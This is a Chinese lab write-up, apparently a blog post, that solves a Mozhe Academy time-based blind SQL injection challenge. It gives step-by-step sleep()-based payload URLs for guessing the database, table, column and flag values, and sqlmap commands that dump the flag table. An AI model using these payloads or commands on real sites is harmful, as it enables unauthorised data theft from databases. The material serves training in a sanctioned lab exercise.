【墨者学院】SQL注入漏洞测试(时间盲注)

目标

  • 了解SQL时间盲注
  • 掌握SQL注入语法
  • 掌握SQL注入原理
  • 了解SQL注入常用注释字符

本题使用的工具
sqlmap,hackbar
环境
物理机:windows10
虚拟机:kali

时间盲注

1 判断是否存在盲注

可以发现判断有多种方式,只要能保证sleep()执行,就可以根据回显的时间判断是否存在时间注入

命令1 :http:/ip/flag.php?type=1 and sleep(5) '
命令2:http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=114,1,sleep(5))'
命令3:http://ip/flag.php?type=1 and if(1=0,1,sleep(10)) --

在这里插入图片描述发现存在明显的延迟,说明存在时间注入,这里我采取的做法是盲注,最后发现存在回显,也可以直接获取,就不多叙述了。

2 获取数据库

  • 猜解数据库长度
    测试数据库的长度,当12时发生时间注入

    http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+
    

    在这里插入图片描述

  • 猜解数据库名
    解释几个函数的用法
    1 database(): 获取数据库
    2 substr():截取字符串函数
    用法:substr(string string,num start,num length);
    string为字符串;
    start为起始位置;
    length为长度。
    3 ascii():返回字符串str的最左面字符的ASCII代码值
    4 if(语句1,语句2,语句3) :如果语句1正确执行语句2,否则执行语句3

    第一位 112 对应 p
    使用注入语句if(ascii(substr(database(),1,1))

http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

在这里插入图片描述 剩下的交给sqlmap去跑
命令:sqlmap -u url --dbs
在这里插入图片描述

3 猜解表

  • 1 猜解表的长度
    这里都是猜解的最终flag的表和数据库
    发现在当长度为4 时发生延时
    http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --
    
  • 2 猜解表
    • 通过ascii去判断
      判断第一位是否是字母
	http://219.153.49.228:40472/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --

当前数据库的第三张表的第一个字符为f

	http://ip/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>102,sleep(5),1) --

在这里插入图片描述 * 使用left去猜解
left(str,length) :LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

http://ip/flag.php?type=1 and if (left((select table_name from information_schema.tables where table_schema=database() limit 1,1),4)='flag',sleep(5),1)--+

sqlmap 跑出剩余的
命令:sqlmap -u url -D pentesterlab --tables
在这里插入图片描述

4 获取字段值

  • 猜解长度
    猜解第二个字段值的长度
http://ip/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1)—

在这里插入图片描述

  • 猜解字段值
    第一个字段值的第3位 为i
http://ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(4),1) --

在这里插入图片描述 第一个字段值的第2位 为d

http:/ip/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),2,1))>99,sleep(4),1) --

所以第一个字段值为id

  • left
    利用left求第二个字段值
    第一个字符为f,直接猜测flag
	http://ip/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),1)='f',sleep(4),1) --
	成功延时
	http://219.153.49.228:40472/flag.php?type=1 and if(left((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),4)='flag',sleep(4),1)—

5 下载数据

  • 猜长度
    猜测第一个数据的长度为6
	http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--
  • 猜数据
    第一位数据为m
	http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--
直接猜测mozhe发现缺少一位,猜测最后一位
	http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),6))=49,sleep(4),1)--

最后一位是1

使用left验证
成功延时,拿到flag去验证把

	http://ip/flag.php?type=1 and if(left((select flag from flag limit 0,1),6)='mozhe1',sleep(4),1)--

使用sqlmap验证
命令:sqlmap -u url -D pentesterlab -T flag -C flag --dump
在这里插入图片描述

总结

时间盲注特别耗时间,在做的过程中要仔细,还要注意每个函数的括号,避免由于少个括号一直错误。


永远不要停下学习的脚步

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值